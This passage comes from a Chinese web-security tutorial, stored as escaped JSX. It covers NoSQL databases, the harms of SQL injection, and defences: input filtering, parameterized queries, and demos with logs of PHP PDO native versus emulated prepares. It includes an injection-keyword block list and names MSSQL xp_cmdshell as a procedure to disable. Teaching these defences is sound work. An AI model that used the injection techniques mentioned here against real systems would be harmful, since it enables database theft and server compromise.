server\u90a3\u6837\u7b80\u5355\u7684\u6dfb\u52a0\u786c\u4ef6\u548c\u670d\u52a1\u8282\u70b9\u6765\u62d3\u5c55\u6027\u80fd\u548c\u8d1f\u8377\u5de5\u4f5c\u80fd\u529b\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6570\u636e\u6a21\u578b\u7075\u6d3b\u5ea6\u4f4e\uff1a\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u6570\u636e\u6a21\u578b\u5b9a\u4e49\u4e25\u683c\uff0c\u65e0\u6cd5\u5feb\u901f\u5bb9\u7eb3\u65b0\u7684\u6570\u636e\u7c7b\u578b\uff08\u9700\u8981\u63d0\u524d\u77e5\u9053\u9700\u8981\u5b58\u50a8\u4ec0\u4e48\u6837\u7c7b\u578b\u7684\u6570\u636e\uff09\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h3,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93nosql",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08NOSQL\uff09"}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662fnosql\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93",children:"\u4ec0\u4e48\u662f\uff08NOSQL\uff09\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff1a"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u53c8\u88ab\u79f0\u4e3a NoSQL\uff08Not Only SQL )\uff0c\u610f\u4e3a\u4e0d\u4ec5\u4ec5\u662f SQL\u3002\u901a\u5e38\u6307\u6570\u636e\u4ee5\u5bf9\u8c61\u7684\u5f62\u5f0f\u5b58\u50a8\u5728\u6570\u636e\u5e93\u4e2d\uff0c\u800c\u5bf9\u8c61\u4e4b\u95f4\u7684\u5173\u7cfb\u901a\u8fc7\u6bcf\u4e2a\u5bf9\u8c61\u81ea\u8eab\u7684\u5c5e\u6027\u6765\u51b3\u5b9a\uff0c\u5e38\u7528\u4e8e\u5b58\u50a8\u975e\u7ed3\u6784\u5316\u7684\u6570\u636e\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5e38\u89c1\u7684nosql\u6570\u636e\u5e93",children:"\u5e38\u89c1\u7684NOSQL\u6570\u636e\u5e93"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u952e\u503c\u6570\u636e\u5e93\uff1aRedis\u3001Memcached\u3001Riak"}),"\n",(0,d.jsxs)(n.li,{children:["\u5217\u65cf\u6570\u636e\u5e93\uff1aBigtable\u3001",(0,d.jsx)(n.a,{href:"https://cloud.tencent.com/product/hbase?from=10680",children:"HBase"}),"\u3001Cassandra"]}),"\n",(0,d.jsx)(n.li,{children:"\u6587\u6863\u6570\u636e\u5e93\uff1aMongoDB\u3001CouchDB\u3001MarkLogic"}),"\n",(0,d.jsx)(n.li,{children:"\u56fe\u5f62\u6570\u636e\u5e93\uff1aNeo4j\u3001InfoGrid"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5b58\u50a8\u6570\u636e\u7684\u683c\u5f0f\u53ef\u4ee5\u662f key-value \u5f62\u5f0f\u3001\u6587\u6863\u5f62\u5f0f\u3001\u56fe\u7247\u5f62\u5f0f\u7b49\u3002\u4f7f\u7528\u7075\u6d3b\uff0c\u5e94\u7528\u573a\u666f\u5e7f\u6cdb\uff0c\u800c\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5219\u53ea\u652f\u6301\u57fa\u7840\u7c7b\u578b\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u901f\u5ea6\u5feb\uff0c\u6548\u7387\u9ad8\u3002 NoSQL \u53ef\u4ee5\u4f7f\u7528\u786c\u76d8\u6216\u8005\u968f\u673a\u5b58\u50a8\u5668\u4f5c\u4e3a\u8f7d\u4f53\uff0c\u800c\u5173\u7cfb\u578b\u6570\u636e\u5e93\u53ea\u80fd\u4f7f\u7528\u786c\u76d8\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6d77\u91cf\u6570\u636e\u7684\u7ef4\u62a4\u548c\u5904\u7406\u975e\u5e38\u8f7b\u677e\uff0c\u6210\u672c\u4f4e\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5177\u6709\u6269\u5c55\u7b80\u5355\u3001\u9ad8\u5e76\u53d1\u3001\u9ad8\u7a33\u5b9a\u6027\u3001\u6210\u672c\u4f4e\u5ec9\u7684\u4f18\u52bf\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u4ee5\u5b9e\u73b0\u6570\u636e\u7684\u5206\u5e03\u5f0f\u5904\u7406\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u6682\u65f6\u4e0d\u63d0\u4f9b SQL \u652f\u6301\uff0c\u5b66\u4e60\u548c\u4f7f\u7528\u6210\u672c\u8f83\u9ad8\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u975e\u5173\u7cfb\u6570\u636e\u5e93\u6ca1\u6709\u4e8b\u52a1\u5904\u7406\uff0c\u65e0\u6cd5\u4fdd\u8bc1\u6570\u636e\u7684\u5b8c\u6574\u6027\u548c\u5b89\u5168\u6027\u3002\u9002\u5408\u5904\u7406\u6d77\u91cf\u6570\u636e\uff0c\u4f46\u662f\u4e0d\u4e00\u5b9a\u5b89\u5168\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u529f\u80fd\u6ca1\u6709\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5b8c\u5584\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u590d\u6742\u8868\u5173\u8054\u67e5\u8be2\u4e0d\u5bb9\u6613\u5b9e\u73b0\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6f0f\u6d1e\u5371\u5bb3",children:"\u6f0f\u6d1e\u5371\u5bb3"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsxs)(n.li,{children:["\u83b7\u53d6\u6570\u636e\u5e93\u8bbf\u95ee\u6743\u9650\uff0c\u751a\u81f3\u83b7\u5f97DBA\u6743\u9650\uff0c\u4ece\u800c\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7684\u6240\u6709\u6570\u636e\uff0c\u9020\u6210\u4fe1\u606f\u6cc4\u6f0f\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u6570\u636e"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u5bf9\u6570\u636e\u5e93\u7684\u6570\u636e\u8fdb\u884c\u589e\u52a0\u3001\u5220\u9664\u3001\u4fee\u6539\u64cd\u4f5c\uff0c\u4f8b\u5982\u5220\u9664\u6570\u636e\u5e93\u4e2d\u91cd\u8981\u6570\u636e\u7684\u8868\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u8fdb\u884c\u589e\u5220\u6539\u64cd\u4f5c"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u7684\u6570\u636e\u5e93\u8bed\u53e5\uff0c\u53ef\u64cd\u4f5c\u6570\u636e\u5e93\u8fdb\u5165\u540e\u53f0\u6216\u8005\u63d2\u5165\u6728\u9a6c\uff0c\u4ee5\u83b7\u53d6\u6574\u4e2a\u7f51\u7ad9\u548c\u6570\u636e\u5e93\u7684\u63a7\u5236\u6743\u9650\uff0c\u7be1\u6539\u7f51\u9875\uff0c\u53d1\u5e03\u4e0d\u826f\u4fe1\u606f\u7b49\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u7f51\u7ad9\u6743\u9650"}),"\uff09"]}),"\n",(0,d.jsxs)(n.li,{children:["\u83b7\u53d6\u670d\u52a1\u5668\u6700\u9ad8\u6743\u9650\uff0c\u8fdc\u7a0b\u63a7\u5236\u670d\u52a1\u5668\uff0c\u751a\u81f3\u5bfc\u81f4\u5c40\u57df\u7f51(\u5185\u7f51)\u88ab\u5165\u4fb5\uff1b\uff08",(0,d.jsx)(n.strong,{children:"\u53ef\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650"}),"\uff09"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u4fee\u590d\u5efa\u8bae",children:"\u4fee\u590d\u5efa\u8bae"}),"\n",(0,d.jsx)(n.h3,{id:"\u4ee3\u7801\u5c42\u9762",children:"\u4ee3\u7801\u5c42\u9762"}),"\n",(0,d.jsx)(n.h4,{id:"\u8f93\u5165\u8fc7\u6ee4\u6b63\u5219\u8fc7\u6ee4",children:"\u8f93\u5165\u8fc7\u6ee4\uff08\u6b63\u5219\u8fc7\u6ee4\uff09"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u4e25\u683c\u63a7\u5236\u8f93\u5165\u6570\u636e\u7684\u7c7b\u578b\uff1b\u5982\u901a\u8fc7id\u83b7\u53d6\u7528\u6237\u4fe1\u606f\u65f6\uff0c\u4ec5\u5141\u8bb8\u4f20\u5165\u7684id\u4e3a\u6574\u578b"}),"\n",(0,d.jsx)(n.li,{children:"\u4e25\u683c\u63a7\u5236\u8f93\u5165\u6570\u636e\u7684\u957f\u5ea6\uff1b\u5982\u9650\u5236\u7528\u6237\u540d\u957f\u5ea6\u5e94\u5c0f\u4e8e20"}),"\n",(0,d.jsxs)(n.li,{children:["\u8f93\u5165\u5408\u6cd5\u6027\u5224\u65ad\uff1b\u7981\u6b62\u51fa\u73b0\u4e00\u4e9b\u7279\u6b8a\u5b57\u7b26\u6216\u5173\u952e\u8bcd\uff0c\u5982",(0,d.jsx)(n.code,{children:"'"}),"\uff0c",(0,d.jsx)(n.code,{children:'"'}),"\uff0c",(0,d.jsx)(n.code,{children:"\\"}),"\uff0c",(0,d.jsx)(n.code,{children:"<"}),"\uff0c",(0,d.jsx)(n.code,{children:">"}),"\uff0c",(0,d.jsx)(n.code,{children:"&"}),"\uff0c",(0,d.jsx)(n.code,{children:"*"}),"\uff0c",(0,d.jsx)(n.code,{children:";"}),"\uff0c",(0,d.jsx)(n.code,{children:"#"}),"\uff0c",(0,d.jsx)(n.code,{children:"select"}),"\uff0c",(0,d.jsx)(n.code,{children:"from"}),"\uff0c",(0,d.jsx)(n.code,{children:"where"}),"\uff0c",(0,d.jsx)(n.code,{children:"sub"}),"\uff0c",(0,d.jsx)(n.code,{children:"if"}),"\uff0c",(0,d.jsx)(n.code,{children:"union"}),"\uff0c",(0,d.jsx)(n.code,{children:"sleep"}),"\uff0c",(0,d.jsx)(n.code,{children:"and"}),"\uff0c",(0,d.jsx)(n.code,{children:"or"}),"\u7b49"]}),"\n",(0,d.jsx)(n.li,{children:"\u5bf9\u6240\u6709\u53ef\u80fd\u7684\u8f93\u5165\u70b9\u8fdb\u884c\u5224\u65ad\u68c0\u6d4b\uff0c\u5982UA\u3001IP\u3001Cookie\u7b49"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u9884\u7f16\u8bd1sql\u8bed\u53e5\u53c2\u6570\u5316\u67e5\u8be2",children:"\u9884\u7f16\u8bd1SQL\u8bed\u53e5(\u53c2\u6570\u5316\u67e5\u8be2)"}),"\n",(0,d.jsx)(n.p,{children:"\u53c2\u6570\u5316\u67e5\u8be2\u662f\u4e00\u79cd\u67e5\u8be2\u7c7b\u578b\uff0c\u5176\u4e2d\u5360\u4f4d\u7b26\u7528\u4e8e\u586b\u5145\u53c2\u6570\uff0c\u53c2\u6570\u503c\u5728\u6267\u884c\u65f6\u63d0\u4f9b\u3002\u539f\u7406\u662f\u91c7\u7528\u4e86\u9884\u7f16\u8bd1\u7684\u65b9\u6cd5\uff0c\u5148\u5c06SQL\u8bed\u53e5\u4e2d\u53ef\u88ab\u7528\u6237\u63a7\u5236\u7684\u53c2\u6570\u96c6\u8fdb\u884c\u7f16\u8bd1\uff0c\u751f\u6210\u5bf9\u5e94\u7684\u4e34\u65f6\u53d8\u91cf\u96c6\uff0c\u518d\u4f7f\u7528\u5bf9\u5e94\u7684\u8bbe\u7f6e\u65b9\u6cd5\uff0c\u4e3a\u4e34\u65f6\u53d8\u91cf\u96c6\u91cc\u9762\u7684\u5143\u7d20\u8fdb\u884c\u8d4b\u503c\uff0c\u8d4b\u503c\u8fc7\u7a0b\u4e2d\u4f1a\u5bf9\u4f20\u5165\u7684\u53c2\u6570\u8fdb\u884c\u5f3a\u5236\u7c7b\u578b\u68c0\u67e5\u548c\u5b89\u5168\u68c0\u67e5\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u6240\u6709\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u4e1a\u52a1\u63a5\u53e3\u5747\u91c7\u7528\u53c2\u6570\u5316\u67e5\u8be2\uff0c\u53c2\u6570\u5316\u7684\u8bed\u53e5\u4f7f\u7528\u53c2\u6570\u800c\u4e0d\u662f\u5c06\u7528\u6237\u8f93\u5165\u53d8\u91cf\u76f4\u63a5\u5d4c\u5165\u5230SQL\u8bed\u53e5\u4e2d\uff0c\u53c2\u6570\u5316\u67e5\u8be2\u662f\u9632\u5fa1SQL\u6ce8\u5165\u7684\u6700\u4f73\u65b9\u6cd5\uff0c\u6bd4\u5982\uff1aJava\u4e2d\u7684",(0,d.jsx)(n.code,{children:"PreparedStatement"}),"\uff0cPHP\u4e2d\u7684",(0,d.jsx)(n.code,{children:"PDO"}),"\u7b49\u3002"]}),"\n",(0,d.jsx)(n.h5,{id:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",children:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406"}),"\n",(0,d.jsxs)(n.p,{children:["\u9884\u7f16\u8bd1\u662f\u6307\u5728\u521b\u5efa\u6570\u636e\u5e93\u5bf9\u8c61\u65f6\u5c31\u5c06\u6307\u5b9a\u7684SQL\u8bed\u53e5\u7f16\u8bd1\u5b8c\u6210\uff0c\u8fd9\u65f6SQL\u8bed\u53e5\u5df2\u7ecf\u88ab",(0,d.jsx)(n.code,{children:"\u89e3\u6790\u3001\u5ba1\u67e5"}),"\uff0c\u6240\u4ee5\u76f8\u5bf9\u4f20\u7edf\u7684\u6267\u884c\u65b9\u5f0f(\u6bcf\u5904\u7406\u4e00\u4e2aSQL\u8bed\u53e5\u5c31\u8981\u89e3\u6790SQL\u8bed\u53e5\u3001\u68c0\u67e5\u8bed\u6cd5\u548c\u8bed\u4e49)\uff0c\u9884\u7f16\u8bd1\u65b9\u5f0f\u5728\u6267\u884c\u6570\u636e\u63d2\u5165\u3001\u66f4\u65b0\u6216\u8005\u5220\u9664\u64cd\u4f5c\u7684\u65f6\u5019\uff0c\u6267\u884c\u6548\u7387\u66f4\u9ad8\u3002"]}),"\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.code,{children:"\u4e3a\u4ec0\u4e48\u9884\u7f16\u8bd1\u80fd\u8ba9\u4f20\u5165\u7684\u6570\u636e\u53ea\u80fd\u662f\u6570\u636e\uff0c\u5b83\u7684\u5e95\u5c42\u539f\u7406\u662f\u600e\u6837\u7684\uff1f"})}),"\n",(0,d.jsxs)(n.p,{children:["\u901a\u5e38\u6765\u8bf4\uff0c\u4e00\u6761SQL\u8bed\u53e5\u4ece\u4f20\u5165\u5230\u8fd0\u884c\u7ecf\u5386\u4e86\u751f\u6210",(0,d.jsx)(n.code,{children:"\u8bed\u6cd5\u6811\u3001\u6267\u884c\u8ba1\u5212\u4f18\u5316\u3001\u6267\u884c"}),"\u8fd9\u51e0\u4e2a\u9636\u6bb5\u3002\u5728\u9884\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u6570\u636e\u5e93\u9996\u5148\u63a5\u6536\u5230\u5e26\u6709\u9884\u7f16\u8bd1\u5360\u4f4d\u7b26",(0,d.jsx)(n.code,{children:"?"}),"\u7684SQL\u8bed\u53e5\uff0c\u89e3\u6790",(0,d.jsx)(n.code,{children:"\u751f\u6210\u8bed\u6cd5\u6811(Lex)"}),"\uff0c\u5e76\u7f13\u5b58\u5728",(0,d.jsx)(n.code,{children:"cache"}),"\u4e2d\uff0c\u7136\u540e\u63a5\u6536\u5bf9\u5e94\u7684\u53c2\u6570\u4fe1\u606f\uff0c\u4ece",(0,d.jsx)(n.code,{children:"cache"}),"\u4e2d\u53d6\u51fa\u8bed\u6cd5\u6811\u8bbe\u7f6e\u53c2\u6570\uff0c\u7136\u540e\u518d\u8fdb\u884c\u4f18\u5316\u548c\u6267\u884c\u3002\u7531\u4e8e\u53c2\u6570\u4fe1\u606f\u4f20\u5165\u524d\u8bed\u6cd5\u6811\u5c31\u5df2\u751f\u6210\uff0c\u6267\u884c\u7684\u8bed\u6cd5\u7ed3\u6784\u4e5f\u5c31\u65e0\u6cd5\u56e0\u53c2\u6570\u800c\u6539\u53d8\uff0c\u81ea\u7136\u4e5f\u5c31\u675c\u7edd\u4e86SQL\u6ce8\u5165\u7684\u51fa\u73b0."]}),"\n",(0,d.jsx)(n.h5,{id:"pdo",children:"PDO"}),"\n",(0,d.jsx)(n.p,{children:"PDO\u9488\u5bf9\u9884\u7f16\u8bd1\u63d0\u4f9b\u4e86\u4e24\u79cd\u6a21\u5f0f\uff1a\u672c\u5730\u9884\u7f16\u8bd1\u548c\u6a21\u62df\u9884\u7f16\u8bd1\u3002"}),"\n",(0,d.jsxs)(n.p,{children:["\u6a21\u62df\u9884\u7f16\u8bd1\uff1a\u672c\u8eab\u4e0d\u662f\u4e00\u79cd\u771f\u6b63\u7684\u9884\u7f16\u8bd1\uff0c\u5b83\u662f\u4e3a\u4e86\u517c\u5bb9\u4e0d\u652f\u6301\u9884\u7f16\u8bd1\u7684\u6570\u636e\u5e93\uff0c\u5c06\u7528\u6237\u8f93\u5165\u7684\u53c2\u6570\u8fdb\u884c\u8f6c\u4e49\uff0c\u62fc\u63a5\u5230\u6570\u636e\u5e93\uff0c\u7531",(0,d.jsx)(n.code,{children:"\u6570\u636e\u5e93\u6b63\u5e38\u89e3\u6790\u6267\u884c"}),"\u3002\u6240\u4ee5\u5b83\u7684",(0,d.jsx)(n.code,{children:"\u9884\u7f16\u8bd1"})," \u64cd\u4f5c\u662f\u7531pdo \u5b8c\u6210\u7684 \u6570\u636e\u5e93\u672c\u8eab\u6ca1\u6709\u53c2\u4e0e\u9884\u7f16\u8bd1 ",(0,d.jsx)(n.strong,{children:"\u5e76\u4e14\u8fd9\u662fPDO\u7684\u9ed8\u8ba4\u6a21\u5f0f"})]}),"\n",(0,d.jsx)(n.h5,{id:"\u6f14\u793a",children:"\u6f14\u793a"}),"\n",(0,d.jsx)(n.p,{children:"1\u3001\u5f00\u542fMySQL\u65e5\u5fd7\uff0c\u67e5\u770b\u65e5\u5fd7"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"prepare($sql);\n\n$pdos->bindParam(1,$_GET['id']);\n$pdos->execute();\n\nvar_dump($pdos->fetchAll());\n"})}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:"2021-11-28T05:29:59.198823Z\t 9 Connect\troot@localhost on ctf using TCP/IP\n2021-11-28T05:29:59.199095Z\t 9 Query\tselect * from admin where id ='\\''\n2021-11-28T05:29:59.199806Z\t 9 Quit\t\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u65e5\u5fd7\u6240\u793a\uff0cmysql\u672c\u8eab\u6ca1\u6709\u9884\u7f16\u8bd1\u64cd\u4f5c\uff0c\u53ea\u6709",(0,d.jsx)(n.code,{children:"\u8fde\u63a5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u67e5\u8be2"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed"})," \u4e09\u4e2a\u64cd\u4f5c\u3002"]}),"\n",(0,d.jsx)(n.p,{children:"2\u3001\u5f00\u542f\u672c\u5730\u9884\u7f16\u8bd1\u6a21\u5f0f"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:" setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n//$sql = 'select * from admin where id =\\''.$id.'\\'';\n$sql =\"select * from admin where id =?\";\n\n$pdos = $conn ->prepare($sql);\n\n$pdos->bindParam(1,$_GET['id']);\n$pdos->execute();\n\nvar_dump($pdos->fetchAll());\n"})}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:"2021-11-28T05:36:24.438190Z\t 10 Connect\troot@localhost on ctf using TCP/IP\n2021-11-28T05:36:24.439940Z\t 10 Prepare\tselect * from admin where id =?\n2021-11-28T05:36:24.440013Z\t 10 Execute\tselect * from admin where id ='\\''\n2021-11-28T05:36:24.440433Z\t 10 Close stmt\t\n2021-11-28T05:36:24.440474Z\t 10 Quit\t\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u65e5\u5fd7\u6240\u793a\uff0c\u6574\u4e2a\u6d41\u7a0b\u5206\u4e3a\u4e94\u90e8 ",(0,d.jsx)(n.code,{children:"\u8fde\u63a5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u9884\u7f16\u8bd1"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u4f20\u5165\u53c2\u6570\u6267\u884c"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed\u9884\u7f16\u8bd1\u8bed\u53e5"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u5173\u95ed\u6570\u636e\u5e93"})]}),"\n",(0,d.jsx)(n.h5,{id:"0x04-\u5371\u5bb3",children:"0x04 \u5371\u5bb3"}),"\n",(0,d.jsxs)(n.p,{children:["\u5982\u679c\u4f7f\u7528\u6a21\u62df\u9884\u7f16\u8bd1\u6a21\u5f0f \uff0c\u5219\u53ef\u80fd\u4f1a\u5bfc\u81f4\u51fa\u73b0",(0,d.jsx)(n.code,{children:"\u5bbd\u5b57\u8282\u6ce8\u5165\u6f0f\u6d1e"}),",",(0,d.jsx)(n.code,{children:"\u4e8c\u6b21\u6ce8\u5165\u6f0f\u6d1e"}),"(\u4e4b\u524d\u6587\u7ae0\u5199\u5230)"]}),"\n",(0,d.jsxs)(n.p,{children:["1\u3001",(0,d.jsx)(n.a,{href:"https://wjlin0.com/archives/sql%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5",children:"sql\u4e8c\u6b21\u6ce8\u5165 - wjlin0"})]}),"\n",(0,d.jsxs)(n.p,{children:["2\u3001",(0,d.jsx)(n.a,{href:"https://wjlin0.com/archives/sql%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5",children:"sql\u5bbd\u5b57\u8282\u6ce8\u5165 - wjlin0"})]}),"\n",(0,d.jsx)(n.h5,{id:"0x05-\u603b\u7ed3",children:"0x05 \u603b\u7ed3"}),"\n",(0,d.jsxs)(n.p,{children:["1\u3001\u672c\u6b21\u4e86\u89e3mysql\u7684\u9884\u7f16\u8bd1\u5904\u7406\u80fd\u591f\u4f7f\u7528\u6237\u4f20\u5165\u7684\u6570\u636e\u53ea\u80fd\u662f\u6570\u636e\uff0c\u800c\u9884\u7f16\u8bd1\u662f\u63d0\u524d\u751f\u6210",(0,d.jsx)(n.strong,{children:"\u8bed\u6cd5\u6811"})," \u4f7f\u5176\u7528\u6237\u4e0d\u80fd\u6539\u53d8\u539f\u6709\u7684\u8bed\u6cd5\u7ed3\u6784\uff0c\u4ece\u800c\u9884\u9632\u4e86SQL\u6ce8\u5165\u7684\u4ea7\u751f\u3002"]}),"\n",(0,d.jsxs)(n.p,{children:["2\u3001\u4e86\u89e3\u4e86PHP\u7684PDO\u4e24\u79cd\u9884\u7f16\u8bd1\u6a21\u5f0f ",(0,d.jsx)(n.code,{children:"\u672c\u5730\u9884\u7f16\u8bd1"}),"\uff0c",(0,d.jsx)(n.code,{children:"\u6a21\u62df\u9884\u7f16\u8bd1"})," \u540e\u8005\u53ea\u662f\u7531pdo\u4ee3\u6267\u884c\u2018\u9884\u7f16\u8bd1\u64cd\u4f5c\u2018 \uff0c\u4e0d\u80fd\u7b97\u771f\u6b63\u610f\u4e49\u4e0a\u7684\u9884\u7f16\u8bd1\uff0c\u5c31\u4f1a\u51fa\u73b0",(0,d.jsx)(n.code,{children:"\u5bbd\u5b57\u8282\u6ce8\u5165"}),"\u548c",(0,d.jsx)(n.code,{children:"\u4e8c\u6b21\u6ce8\u5165"}),"\u7684\u98ce\u9669\u3002\u800cPDO\u9ed8\u8ba4\u6a21\u5f0f\u5c31\u662f\u6a21\u62df\u9884\u7f16\u8bd1\uff0c\u6240\u4ee5\u518d\u6267\u884c\u65f6\uff0c\u6700\u597d\u8bbe\u7f6e"]}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"$PDO -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n"})}),"\n",(0,d.jsx)(n.p,{children:"3\u3001\u540c\u6837\u7684JAVA\u4e5f\u5b58\u5728\u7c7b\u4f3c\u7684\u95ee\u9898\uff0c\u4ee5\u540e\u5b66\u4e60\u540e\u518d\u8865\u5145\u3002"}),"\n",(0,d.jsx)(n.h3,{id:"\u6570\u636e\u5e93\u5c42\u9762",children:"\u6570\u636e\u5e93\u5c42\u9762"}),"\n",(0,d.jsx)(n.h4,{id:"\u6700\u5c0f\u6743\u9650\u539f\u5219",children:"\u6700\u5c0f\u6743\u9650\u539f\u5219"}),"\n",(0,d.jsx)(n.p,{children:"\u9075\u5faa\u6700\u5c0f\u5316\u6743\u9650\u539f\u5219\uff0c\u4e25\u683c\u9650\u5236\u7f51\u7ad9\u7528\u6237\u7684\u6570\u636e\u5e93\u7684\u64cd\u4f5c\u6743\u9650\uff0c\u7981\u6b62\u5c06\u4efb\u4f55\u9ad8\u6743\u9650\u5e10\u6237\uff08sa\uff0cdba\u3001root\u7b49\uff09\u7528\u4e8e\u5e94\u7528\u7a0b\u5e8f\u6570\u636e\u5e93\u8bbf\u95ee\uff0c\u4ece\u800c\u6700\u5927\u9650\u5ea6\u7684\u51cf\u5c11\u6ce8\u5165\u653b\u51fb\u5bf9\u6570\u636e\u5e93\u7684\u5371\u5bb3\u3002"}),"\n",(0,d.jsx)(n.h4,{id:"\u7981\u7528\u654f\u611f\u51fd\u6570",children:"\u7981\u7528\u654f\u611f\u51fd\u6570"}),"\n",(0,d.jsx)(n.p,{children:"\u9632\u6b62\u653b\u51fb\u8005\u901a\u8fc7SQL\u6ce8\u5165\u83b7\u53d6\u5230\u9664\u6570\u636e\u5e93\u5916\u7684\u5176\u4ed6\u66f4\u9ad8\u6743\u9650\uff0c\u5982\u7cfb\u7edf\u6743\u9650\u7b49\uff1b"}),"\n",(0,d.jsxs)(n.p,{children:["\u6bd4\u5982MSSQL\u4e2d\uff0c\u62d2\u7edd\u7528\u6237\u8bbf\u95ee\u654f\u611f\u7684\u7cfb\u7edf\u5b58\u50a8\u8fc7\u7a0b\uff0c\u5982",(0,d.jsx)(n.code,{children:"xp_dirtree"}),"\u3001",(0,d.jsx)(n.code,{children:"xp_cmdshell"}),"\u7b49\u3002"]}),"\n",(0,d.jsx)(n.h4,{id:"\u6743\u9650\u63a7\u5236",children:"\u6743\u9650\u63a7\u5236"}),"\n",(0,d.jsx)(n.p,{children:"\u9650\u5236\u7528\u6237\u4ec5\u80fd\u591f\u8bbf\u95ee\u5fc5\u987b\u4f7f\u7528\u7684\u6570\u636e\u5e93\u8868\u3002"}),"\n",(0,d.jsx)(n.h4,{id:"\u7edf\u4e00\u7f16\u7801",children:"\u7edf\u4e00\u7f16\u7801"}),"\n",(0,d.jsx)(n.p,{children:"\u7f51\u7ad9\u4e0e\u6570\u636e\u5c42\u7684\u7f16\u7801\u7edf\u4e00\uff0c\u5efa\u8bae\u5168\u90e8\u4f7f\u7528UTF-8\u7f16\u7801\uff0c\u907f\u514d\u56e0\u4e0a\u4e0b\u5c42\u7f16\u7801\u4e0d\u4e00\u81f4\u5bfc\u81f4\u4e00\u4e9b\u8fc7\u6ee4\u6a21\u578b\u88ab\u7ed5\u8fc7\uff0c\u6bd4\u5982\u5bbd\u5b57\u8282\u6ce8\u5165\u7b49\u3002"}),"\n",(0,d.jsx)(n.h3,{id:"\u5176\u4ed6\u5c42\u9762",children:"\u5176\u4ed6\u5c42\u9762"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u7f51\u7ad9\u5e94\u907f\u514d\u629b\u51faSQL\u8bed\u53e5\u6267\u884c\u8fc7\u7a0b\u4e2d\u7684\u9519\u8bef\u4fe1\u606f\uff0c\u5982\u7c7b\u578b\u9519\u8bef\u3001\u5b57\u6bb5\u4e0d\u5339\u914d\u7b49\uff0c\u9632\u6b62\u653b\u51fb\u8005\u5229\u7528\u8fd9\u4e9b\u9519\u8bef\u4fe1\u606f\u8fdb\u884c\u4e00\u4e9b\u5224\u65ad\uff1b"}),"\n"